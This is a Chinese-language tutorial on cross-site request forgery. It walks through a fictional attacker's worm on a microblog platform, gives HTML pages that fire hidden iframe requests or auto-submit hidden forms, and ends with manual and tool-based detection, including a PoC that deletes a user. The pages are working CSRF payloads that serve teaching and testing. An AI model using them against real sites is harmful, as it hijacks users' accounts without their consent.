CSRF攻击:攻击者构造合法的HTTP请求,随后利用用户的身份操作用户帐户的一种攻击方式。

一、CSRF攻击原理
CSRF的攻击建立在浏览器与Web服务器的会话中;欺骗用户访问URL。

二、CSRF攻击场景(GET)
例:
http://www.example.com是全球最大的微博平台,一次偶然的情况,黑客TOM对微博的收听功能做了抓包

GET /listen?uid=218805&listenid=100 HTTP/1.1  
Host: www.example.com 

TOM分析uid代表自己,listenid代表被收听用户。
随后设想可以直接构造一个URL:http://www.example.com/listen?uid=218805&listenid=228820
但是别人的ID是TOM无法得知的,因此尝试直接构造URL:http://www.example.com/listen?listenid=228820,实验成功,就算无uid,访问此URL也可以成功收听228820号用户。
于是TOM准备在微博平台制造一个蠕虫攻击,TOM在微博平台发表了有诱惑性的微博:诱导用户单击这个URL链接。
进一步,TOM心想让每个用户都帮助自己发站内信,或者是转发微博,因此再一次拦截数据包:

GET /publish?id=928978 HTTP/1.1  
Host: www.example.com 

因此说只要用户访问http://www.example.com/publish?id=928978,就可以自动转发这条微博。
新的问题:如何让用户单击一个URL就同时访问这两个URL?
TOM构造了一个单独的HTML页面open.html

<html>  
    <head>  
        <title>  
            逗你玩的。。。  
        </title>  
    </head>  
    <body>  
        你上当了,这不过是个玩笑。<a href="http://www.example.com">单击我返回</a>  
        <iframe src="http://www.example.com/listen?listenid=228820" frameborder="0" width="0px"/>  
        <iframe src="http://www.example.com/publish.php?id=928978" frameborder="0" width="0px"/>  
    </body>  
</html> 

当用户A单击open.html后,就会自动收听TOM用户,并且把这篇文章转发到自己的微博中,A的好友B看到后可能也会点击,这样就陷入了循环。

三、CSRF攻击场景(POST)
使用POST方法,一样存在CSRF攻击的可能,只不过增加了攻击的难度。
例:

POST /publish HTTP/1.1  
Host:www.example.com  
listenid=228820

攻击者可以构造类似如下的页面,post.html

<html>  
    <head>  
        <title>  
            post data  
        </title>  
    </head>  
    <body>  
        <form id="myform" method="post" action="http://www.example.com/publish">  
            <input type="hidden" name="listenid" value="228820">  
        </form>  
        <script>  
            var myform = document.getElementById("myform");  
            myform.submit();  
        </script>  
    </body>  
</html> 
在post.html中构造一个form表单,然后利用JavaScript自动提交表单。

四、CSRF的检测

检测CSRF攻击主要分为两种:手工检测和半自动检测。全自动CSRF工具的误报率较大,不予考虑。

4.1 手工检测
在检测CSRF漏洞时,首先需要确定的一点是:CSRF只能通过用户的正规操作进行攻击,实际上就是劫持用户操作。所以,在检测前首先需要确定Web应用程序的所有功能,以及确定哪些操作是敏感的,比如修改密码、转账、发表留言等功能。
确定了敏感性操作后,使用这项“功能”拦截HTTP请求,比如,删除用户操作URL为:http://www.example.com/delUser.action?id=1
编写CSRF POC为:

<html>  
    <body>  
        <form name="myform" action="delUser.action" method="GET">  
            <input type="hidden" name="id" value="5"/>  
        </form>  
        <script>  
            var myform = document.getElementById("myform");  
            myform.submit();  
        </script>  
    </body>  
</html> 
CSRF漏洞也可以理解为:服务器到底有没有执行POC的请求,如果已执行,则代表存在CSRF漏洞。

4.2 半自动检测
使用工具CSRFTester,能够记录请求的每个URL,并且自动生成 CSRF POC。